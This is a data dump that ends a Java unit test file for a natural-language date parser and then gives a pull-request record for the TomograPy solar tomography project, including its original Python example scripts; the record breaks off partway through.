15);\n\t\tcal.set(Calendar.MINUTE, 27);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"October 26, 1981 3:27:00 PM\", now).toDate());\n\n\t\tcal.set(Calendar.HOUR, 5);\n\t\tcal.set(Calendar.MINUTE, 0);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.AM_PM, Calendar.PM);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"10/26/81 5PM\", now).toDate());\n\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE) + 1);\n\t\tcal.set(Calendar.HOUR, 5);\n\t\tcal.set(Calendar.MINUTE, 0);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tcal.set(Calendar.AM_PM, Calendar.PM);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"tomorrow 5PM\", now).toDate());\n\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE) - 2);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"yesterday 5PM\", now).toDate());\n\t\tAssert.assertEquals(StringToTime\n\t\t\t\t.parseDateTime(\"yesterday evening\", now).toDate(), StringToTime\n\t\t\t\t.parseDateTime(\"yesterday 5PM\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testNow() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(new Date(now.getTime()), StringToTime\n\t\t\t\t.parseDateTime(\"now\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testToday() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"00:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"today\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testThisMorning() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"07:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"this morning\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"morning\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"this morning\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testNoon() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"12:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"noon\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testThisAfternoon() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"13:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"this afternoon\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"afternoon\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"this afternoon\", now)\n\t\t\t\t.toDate());\n\t}\n\n\t@Test\n\tpublic void testThisEvening() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"17:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"this evening\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"evening\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"this evening\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTonight() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"20:00:00.000\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"tonight\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testIncrements() {\n\t\tDate now = new Date();\n\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.HOUR_OF_DAY, cal.get(Calendar.HOUR_OF_DAY) + 1);\n\t\tAssert.assertEquals(cal.getTimeInMillis(),\n\t\t\t\tStringToTime.parseDateTime(\"+1 hour\", now).toDate());\n\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.WEEK_OF_YEAR, cal.get(Calendar.WEEK_OF_YEAR) + 52);\n\t\tAssert.assertEquals(cal.getTimeInMillis(),\n\t\t\t\tStringToTime.parseDateTime(\"+52 weeks\", now).toDate());\n\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"1 year\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"+1 year\", now).toDate());\n\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"+1 year\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"+12 months\", now).toDate());\n\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"+1 year 6 months\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"+18 months\", now)\n\t\t\t\t.toDate());\n\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"12 months 1 day 60 seconds\", now)\n\t\t\t\t\t\t.toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"1 year 24 hours 1 minute\", now)\n\t\t\t\t\t\t.toDate());\n\t}\n\n\t@Test\n\tpublic void testDecrements() {\n\t\tDate now = new Date();\n\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.HOUR_OF_DAY, cal.get(Calendar.HOUR_OF_DAY) - 1);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"-1 hour\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrow() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE) + 1);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"tomorrow\", now).toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"now +24 hours\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"tomorrow\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrowMorning() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"this morning +24 hours\", now)\n\t\t\t\t\t\t.toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"tomorrow morning\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrowNoon() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"noon +24 hours\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"tomorrow noon\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"noon +24 hours\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"noon tomorrow\", now)\n\t\t\t\t.toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrowAfternoon() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"this afternoon +24 hours\", now)\n\t\t\t\t\t\t.toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"tomorrow afternoon\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrowEvening() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"this evening +24 hours\", now)\n\t\t\t\t\t\t.toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"tomorrow evening\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testTomorrowNight() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime\n\t\t\t\t.parseDateTime(\"tonight +24 hours\", now).toDate(), StringToTime\n\t\t\t\t.parseDateTime(\"tomorrow night\", now).toDate());\n\t}\n\n\t// e.g., October 26, 1981, or Oct 26, 1981, or 26 October 1981, or 26 Oct\n\t// 1981, or 26 Oct 81\n\t@Test\n\tpublic void testLongHand() throws Exception {\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"October 26, 1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"Oct 26, 1981\"));\n\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 October 1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 Oct 1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 Oct 81\"));\n\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 october 1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 oct 1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"26 oct 81\"));\n\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"),\n\t\t\t\tStringToTime.parseDateTime(\"1 Jan 2000\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"),\n\t\t\t\tStringToTime.parseDateTime(\"1 Jan 00\"));\n\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"),\n\t\t\t\tStringToTime.parseDateTime(\"1 jan 2000\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"),\n\t\t\t\tStringToTime.parseDateTime(\"1 jan 00\"));\n\t}\n\n\t// e.g., 10/26/1981 or 10/26/81\n\t@Test\n\tpublic void testWithSlahesMonthFirst() throws Exception {\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"10/26/1981\"));\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"10/26/81\"));\n\t}\n\n\t// e.g., 1981/10/26\n\t@Test\n\tpublic void testWithSlashesYearFirst() throws Exception {\n\t\tAssert.assertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"),\n\t\t\t\tStringToTime.parseDateTime(\"1981/10/26\"));\n\t}\n\n\t// e.g., October 26 and Oct 26\n\t@Test\n\tpublic void testMonthAndDate() throws Exception {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"October 26\", now).toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"Oct 26\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"October 26\", now).toDate());\n\t}\n\n\t// e.g., 10/26\n\t@Test\n\tpublic void testWithSlahesMonthAndDate() throws Exception {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tAssert.assertEquals(new Date(cal.getTimeInMillis()), StringToTime\n\t\t\t\t.parseDateTime(\"10/26\").toDate());\n\t}\n\n\t// e.g., October or Oct\n\t@Test\n\tpublic void testMonth() throws Exception {\n\t\tDate now = new Date();\n\n\t\tAssert.assertEquals(\n\t\t\t\tStringToTime.parseDateTime(\"October\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"Oct\", now));\n\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\n\t\tCalendar cal2 = Calendar.getInstance();\n\n\t\t// it should be this year\n\t\tcal2.setTime(StringToTime.parseDateTime(\"January\", now).toDate());\n\t\tAssert.assertEquals(cal.get(Calendar.YEAR), cal2.get(Calendar.YEAR));\n\t\tcal2.setTime(StringToTime.parseDateTime(\"December\", now).toDate());\n\t\tAssert.assertEquals(cal.get(Calendar.YEAR), cal2.get(Calendar.YEAR));\n\t}\n\n\t@Test\n\tpublic void testDayOfWeek() throws Exception {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"Friday\", now).toDate(),\n\t\t\t\tStringToTime.parseDateTime(\"Fri\", now).toDate());\n\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\n\t\t// if today's day of the week is greater than or equal to our test day\n\t\t// of the week (Wednesday)\n\t\tCalendar cal2 = Calendar.getInstance();\n\t\tif(cal.get(Calendar.DAY_OF_WEEK) >= 3) {// then the day of the week on\n\t\t\t\t\t\t\t\t\t\t\t\t// the date returned should be\n\t\t\t\t\t\t\t\t\t\t\t\t// next week\n\t\t\tcal2.setTime(StringToTime.parseDateTime(\"Wednesday\", now).toDate());\n\t\t\tAssert.assertEquals(cal.get(Calendar.WEEK_OF_YEAR) + 1,\n\t\t\t\t\tcal2.get(Calendar.WEEK_OF_YEAR));\n\t\t}\n\t\telse {\n\t\t\t// otherwise, it should be this year\n\t\t\tcal2.setTime(StringToTime.parseDateTime(\"Wednesday\", now).toDate());\n\t\t\tAssert.assertEquals(cal.get(Calendar.WEEK_OF_YEAR),\n\t\t\t\t\tcal2.get(Calendar.WEEK_OF_YEAR));\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testNext() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"next January 15\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Jan 15\", now).toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"next Dec\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"December\", now).toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"next Sunday\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Sun\", now).toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"next Sat\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Saturday\", now).toDate());\n\t}\n\n\t@Test\n\tpublic void testLast() {\n\t\tDate now = new Date();\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"last January 15\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Jan 15 -1 year\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"last Dec\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"December -1 year\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"last Sunday\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Sun -1 week\", now)\n\t\t\t\t.toDate());\n\t\tAssert.assertEquals(StringToTime.parseDateTime(\"last Sat\", now)\n\t\t\t\t.toDate(), StringToTime.parseDateTime(\"Saturday -1 week\", now)\n\t\t\t\t.toDate());\n\t}\n\n}\n"}}
{"repo": "nbarbey/TomograPy", "pr_number": 1, "title": "Converts to Rust and adds modern features", "state": "closed", "merged_at": "2023-09-28T19:47:41Z", "additions": 2784, "deletions": 4852, "files_changed": ["exemples/test_bpj.py", "exemples/test_siddon_cgs_secchi.py", "exemples/test_siddon_cor1.py", "exemples/test_siddon_lo.py", "exemples/test_siddon_secchi.py", "exemples/test_siddon_secchi_dt.py", "exemples/test_siddon_secchi_mask.py", "exemples/test_siddon_simu.py", "exemples/test_siddon_simu_dt.py", "exemples/test_siddon_simu_dt_lo.py", "exemples/test_siddon_simu_lo.py", "exemples/test_siddon_simu_sun.py", "exemples/test_thomson_simu.py", "experiments.py", "experiments_dottest.py", "experiments_filtered_bpj.py", "experiments_multi_view.py", "experiments_only_bpj.py", "experiments_single_view.py", "experiments_solar.py", "python/tomograpy/__init__.py", "python/tomograpy/coordinates.py", "python/tomograpy/third.py"], "files_before": {"exemples/test_bpj.py": "#!/usr/bin/env python\n\n\"\"\"\nSmall projection test to compare with IDL tomograpy.\n\"\"\"\n\nimport numpy as np\nimport tomograpy\nim = tomograpy.centered_stack(0.0016, 32, n_images=1, radius=200., fill=0.)\ncube = tomograpy.centered_cubic_map(3, 256, fill=1.)\nP = tomograpy.lo(im.header, cube.header, obstacle=\"sun\")\nim[:] = (P * cube.ravel()).reshape(im.shape)\n", "exemples/test_siddon_cgs_secchi.py": "#!/usr/bin/env python\nimport numpy as np\nimport os\nimport copy\nimport time\nimport tomograpy\nimport fitsarray as fa\nimport lo\nimport scipy.sparse.linalg as spl\n# data \npath = os.path.join(os.getenv('HOME'), 'data', '171dec08')\nobsrvtry = 'STEREO_A'\ntime_window = ['2008-12-01T00:00:00.000', '2008-12-03T00:00:00.000']\n# one image every time_step seconds\ntime_step = 4 * 3600.\ndata = tomograpy.secchi.read_data(path, bin_factor=4,\n                               obsrvtry=obsrvtry,\n                               time_window=time_window, \n                               time_step=time_step)\n# cube\nshape = 3 * (128,)\nheader = {'CRPIX1':64., 'CRPIX2':64., 'CRPIX3':64.,\n          'CDELT1':0.0234375, 'CDELT2':0.0234375, 'CDELT3':0.0234375,\n          'CRVAL1':0., 'CRVAL2':0., 'CRVAL3':0.,}\ncube = fa.zeros(shape, header=header)\n# model\nP = tomograpy.lo(data.header, cube.header)\nD = [lo.diff(cube.shape, axis=i) for i in xrange(cube.ndim)]\nhypers = cube.ndim * (1e0, )\n# inversion\nt = time.time()\nA = P.T * P + np.sum([h * d.T * d for h, d in zip(hypers, D)])\nb = P.T * data.flatten()\n#callback = lo.iterative.CallbackFactory(verbose=True)\n#x, info = spl.bicgstab(A, b, maxiter=100, callback=callback)\nx, info = lo.acg(P, data.flatten(), D, hypers, maxiter=100,)\nsol = cube.copy()\nsol[:] = x.reshape(cube.shape)\nprint(time.time() - t)\n", "exemples/test_siddon_cor1.py": "#!/usr/bin/env python\nimport numpy as np\nimport os\nimport copy\nimport time\nimport tomograpy\nimport fitsarray as fa\nimport lo\n\n# data \npath = os.path.join(os.getenv('HOME'), 'data', 'tomograpy., 'cor1')\n#obsrvtry = 'SOHO    '\n#instrume = 'LASCO   '\ntime_window = ['2009/09/01 00:00:00.000', '2009/09/15 00:00:00.000']\ntime_step = 8 * 3600. # one image every time_step seconds\ndata = tomograpy.solar.read_data(path, bin_factor=8,\n                               #time_window=time_window, \n                               #time_step=time_step\n                               )\n# errors in data ...\ndata.header['BITPIX'][:] = -64\ndata[np.isnan(data)] = 0.\ndata.header['RSUN'] /= 16.\n# cube\nshape = np.asarray(3 * (128. ,))\ncrpix = shape / 2.\ncdelt = 6. / shape\ncrval = np.zeros(3)\nheader = {'CRPIX1':crpix[0], 'CRPIX2':crpix[1], 'CRPIX3':crpix[2],\n          'CDELT1':cdelt[0], 'CDELT2':cdelt[1], 'CDELT3':cdelt[2],\n          'CRVAL1':0., 'CRVAL2':0., 'CRVAL3':0.,}\ncube = fa.zeros(shape, header=header)\nt = time.time()\ncube = tomograpy.backprojector(data, cube, obstacle=\"sun\")\nprint(\"backprojection time : \" + str(time.time() - t))\n\n# inversion\nt = time.time()\nu = .5\nkwargs={\n    \"obj_rmin\":1.5,\n    \"obj_rmax\":3.,\n    \"data_rmin\":1.5,\n    \"data_rmax\":2.5,\n    \"mask_negative\":True\n}\nP, D, obj_mask, data_mask = tomograpy.models.thomson(data, cube, u, **kwargs)\n# bpj\nb = data.flatten()\nbpj = (P.T * b).reshape(cube.shape)\nhypers = 1e3 * np.ones(3)\nsol = lo.acg(P, b, D, hypers, maxiter=100, tol=1e-6)\nprint(\"inversion time : %f\" % (time.time() - t))\n# reshape solution\nsol.resize(cube.shape)\nsol = fa.asfitsarray(sol, header=cube.header)\n# reproject solution\nreproj = P * sol.ravel()\nreproj.resize(data.shape)\n", "exemples/test_siddon_lo.py": "#!/bin/env python\nimport numpy as np\nimport os\nimport copy\nimport time\nimport tomograpy\nimport fitsarray as fa\n# data \npath = os.path.join(os.getenv('HOME'), 'data', '171dec08')\nobsrvtry = 'STEREO_A'\ntime_window = ['2008-12-01T00:00:00.000', '2008-12-03T00:00:00.000']\ntime_step = 4 * 3600. # one image every time_step seconds\ndata = tomograpy.secchi.read_data(path, bin_factor=4,\n                               obsrvtry=obsrvtry,\n                               time_window=time_window, \n                               time_step=time_step)\n# cube\nshape = 3 * (128,)\nheader = dict()\nfor i in xrange(1, 4):\n    header['CRPIX' + str(i)] = 64.\n    header['CDELT' + str(i)] = 0.0234375\n    header['CRVAL' + str(i)] = 0.\ncube = fa.zeros(shape, header=header, dtype=np.float32)\nP = tomograpy.sun_lo(data.header, cube.header)\nt = time.time()\nfbp = (P.T * data.flatten()).reshape(cube.shape)\nprint(\"backprojection time : \" + str(time.time() - t))\n\nt = time.time()\nfbp0 = tomograpy.backprojector_sun(data, cube)\nprint(\"backprojection time : \" + str(time.time() - t))\n\n#assert np.all(fbp == fbp0)\n", "exemples/test_siddon_secchi.py": "#!/usr/bin/env python\nimport numpy as np\nimport os\nimport copy\nimport time\nimport tomograpy\nimport fitsarray as fa\n# data \npath = os.path.join(os.getenv('HOME'), 'data', 'tomograpy., '171dec08')\nobsrvtry = 'STEREO_A'\ntime_window = ['2008-12-01T00:00:00.000', '2008-12-15T00:00:00.000']\ntime_step = 8 * 3600. # one image every time_step seconds\ndata = tomograpy.solar.read_data(path, bin_factor=8,\n                               obsrvtry=obsrvtry,\n                               time_window=time_window, \n                               time_step=time_step)\n# map\ncube = tomograpy.centered_cubic_map(3, 128, fill=0.)\nt = time.time()\ncube = tomograpy.backprojector(data, cube, obstacle=\"sun\")\nprint(\"backprojection time : \" + str(time.time() - t))\n", "exemples/test_siddon_secchi_dt.py": "#!/usr/bin/env python\nimport os\nimport time\nimport numpy as np\nimport lo\nimport tomograpy\nfrom tomograpy.solar import read_data\n# data\nobsrvtry = ('STEREO_A', 'STEREO_B')\ndata = tomograpy.solar.concatenate(\n    [read_data(os.path.join(os.getenv('HOME'), 'data', 'tomograpy., '171dec08'), \n               bin_factor=4,\n               obsrvtry=obs,\n               time_window=['2008-12-01T00:00:00.000', \n                            '2008-12-15T00:00:00.000'],\n               time_step= 4 * 3600.\n               )\n     for obs in obsrvtry])\ndata = tomograpy.solar.sort_data_array(data)\n# scale A and B images\n# the ratio of sensitivity between EUVI A and B\ncalibration_ba = {171:0.902023, 195:0.974536, 284:0.958269, 304:1.05954}\nfor i in xrange(data.shape[-1]):\n    if data.header['OBSRVTRY'][i] == 'STEREO_B':\n        data[..., i] /= calibration_ba[data.header['WAVELNTH'][i]]\n\n# make sure it is 64 bits data\ndata.header['BITPIX'][:] = -64\n# cube\nshape = 3 * (128,)\nheader = {'CRPIX1':64.,\n          'CRPIX2':64.,\n          'CRPIX3':64.,\n          'CDELT1':0.0234375,\n          'CDELT2':0.0234375,\n          'CDELT3':0.0234375,\n          'CRVAL1':0.,\n          'CRVAL2':0.,\n          'CRVAL3':0.,}\ncube = tomograpy.fa.zeros(shape, header=header)\n# model\nkwargs = {'obj_rmin':1., 'obj_rmax':1.4, 'data_rmax':1.3,\n          'mask_negative':True, 'dt_min':100}\nP, D, obj_mask, data_mask = tomograpy.models.stsrt(data, cube, **kwargs)\n# apply mask to data\ndata *= (1 - data_mask)\n# hyperparameters\nhypers = (1e-1, 1e-1, 1e-1, 1e6)\n# test time for one projection\nt = time.time()\nu = P.T * data.ravel()\nprint(\"maximal time : %f\" % ((time.time() - t) * 100))\n# inversion\nt = time.time()\nb = data.ravel()\n#sol = lo.acg(P, b, D, hypers, maxiter=100)\nsol = lo.rls(P, b, D, hypers, maxiter=100)\n# reshape result\nfsol = tomograpy.fa.asfitsarray(sol.reshape(obj_mask.shape), header=header)\nprint(time.time() - t)\nfsol.tofits('stsrt_test.fits')\n", "exemples/test_siddon_secchi_mask.py": "#!/usr/bin/env python\nimport os\nimport time\nimport numpy as np\nimport lo\nimport tomograpy\nfrom tomograpy.solar import read_data\n# data\ndata = read_data(os.path.join(os.getenv('HOME'), 'data', 'tomograpy., '171dec08'),\n                 bin_factor=4.,\n                 time_window=['2008-12-01T00:00:00.000',\n                              '2008-12-15T00:00:00.000'],\n                 time_step=8 * 3600.\n                 )\ndata = tomograpy.solar.sort_data_array(data)\n# scale A and B images\n# the ratio of sensitivity between EUVI A and B\ncalibration_ba = {171:0.902023, 195:0.974536, 284:0.958269, 304:1.05954}\nfor i in xrange(data.shape[-1]):\n    if data.header[i]['OBSRVTRY'] == 'STEREO_B':\n        data[..., i] /= calibration_ba[data.header[i]['WAVELNTH']]\n\n    # make sure it is 64 bits data\n    data.header[i]['BITPIX'] = -64\n\n# cube\ncube = tomograpy.centered_cubic_map(3, 64, fill=0.)\n# model\nkwargs = {'obj_rmin':1., 'obj_rmax':1.5, 'data_rmin':1., 'data_rmax':1.3,\n          'mask_negative':False, 'mask_nan':True}\nP, D, obj_mask, data_mask = tomograpy.models.srt(data, cube, **kwargs)\n# apply mask to data\ndata *= (1 - data_mask)\ndata[np.isnan(data)] = 0.\n# hyperparameters\nhypers = cube.ndim * (1e0, )\n# inversion\n# expected time\nb = data.ravel()\nb[np.isnan(b)] = 0.\nt = time.time()\nbpj = P.T * b\nprint((time.time() - t) * 4 * 100 )\n# real time\nt = time.time()\nsol = lo.acg(P, b, D, hypers, maxiter=100)\nprint(time.time() - t)\n# reshape result\nfsol = tomograpy.fa.asfitsarray(sol.reshape(cube.shape), header=cube.header)\ntomograpy.path = os.path.join(os.getenv('HOME'), 'data', 'tomograpy.)\nfsol.tofits(os.path.join(tomograpy.path, \"output\", \"test_tomograpy.secchi_mask.fits\"))\n", "exemples/test_siddon_simu.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\n# object\nobject_header = tomograpy.centered_cubic_map_header(3, 128)\nobj = tomograpy.simu.object_from_header(object_header, fill=1.)\n# data\nradius = 200.\na = tomograpy.fov(object_header, radius)\ndata = tomograpy.centered_stack(a, 128, n_images=60, radius=200., max_lon=np.pi)\n# projection\nt = time.time()\ndata = tomograpy.projector(data, obj)\nprint(\"projection time : \" + str(time.time() - t))\n# backprojection\nt = time.time()\ndata[:] = 1.\nobj0 = tomograpy.simu.object_from_header(object_header, fill=0.)\nobj0 = tomograpy.backprojector(data, obj0)\nprint(\"backprojection time : \" + str(time.time() - t))\n\nobj1 = tomograpy.simu.object_from_header(object_header, fill=0.)\nobj1 = tomograpy.backprojector(data, obj1)\n", "exemples/test_siddon_simu_dt.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\n# object\nobj = tomograpy.centered_cubic_map(3, 128, fill=1.)\n# number of images\nn = 20\n# reshape object for 4d model\nobj4 = obj.reshape(obj.shape + (1,)).repeat(n, axis=-1)\nobj4.header['NAXIS'] = 4\nobj4.header['NAXIS4'] = obj4.shape[3]\nobj4.header['CRVAL4'] = 0.\n\n# data \nradius = 200\na = tomograpy.fov(obj.header, radius)\ndata = tomograpy.centered_stack(a, 128, n_images=n, radius=radius,\n                                    max_lon=np.pi)\ndata[:] = np.zeros(data.shape)\n# projection\nt = time.time()\ndata = tomograpy.projector4d(data, obj4)\nprint(\"projection time : \" + str(time.time() - t))\n# backprojection\nx0 = obj4.copy()\nx0[:] = 0.\nt = time.time()\nx0 = tomograpy.backprojector4d(data, x0)\nprint(\"backprojection time : \" + str(time.time() - t))\n", "exemples/test_siddon_simu_dt_lo.py": "#!/usr/bin/env python\nimport time\nimport numpy as np\nimport tomograpy\nimport lo\n# object\nobj = tomograpy.centered_cubic_map(3, 64, fill=1.)\n# number of images\nn = 64\n# reshape object for 4d model\nobj4 = obj[..., np.newaxis].repeat(n, axis=-1)\nobj4.header['NAXIS'] = 4\nobj4.header['NAXIS4'] = obj4.shape[3]\nobj4.header['CRVAL4'] = 0.\n\n# data \nradius = 200\na = tomograpy.fov(obj.header, radius)\ndata1 = tomograpy.centered_stack(a, 64, n_images=n/2, radius=radius,\n                                    max_lon=np.pi, fill=0.)\ndata2 = tomograpy.centered_stack(a, 64, n_images=n/2, radius=radius,\n                                    min_lon=np.pi / 2., max_lon=1.5 * np.pi, fill=0.)\ndata = tomograpy.solar.concatenate((data1, data2))\n\n# times\nDT = 1000.\ndt_min = 100.\ndates = np.arange(n / 2) * DT / 2.\ndates = np.concatenate(2 * (dates, ))\ndates = [time.strftime('%Y-%m-%dT%H:%M:%S', time.localtime((t))) for t in dates]\nfor i in xrange(len(data.header)):\n    data.header[i]['DATE_OBS'] = dates[i]\n\ndata = tomograpy.solar.sort_data_array(data)\n\n# projection\nt = time.time()\ndata = tomograpy.projector4d(data, obj4, obstacle=\"sun\")\nprint(\"projection time : \" + str(time.time() - t))\n# backprojection\nx0 = obj4.copy()\nx0[:] = 0.\nt = time.time()\nx0 = tomograpy.backprojector4d(data, x0, obstacle=\"sun\")\nprint(\"backprojection time : \" + str(time.time() - t))\n\n# model\nkwargs = {'obj_rmin':1., #'obj_rmax':1.3,\n          'mask_negative':False, 'dt_min':100}\nP, D, obj_mask, data_mask = 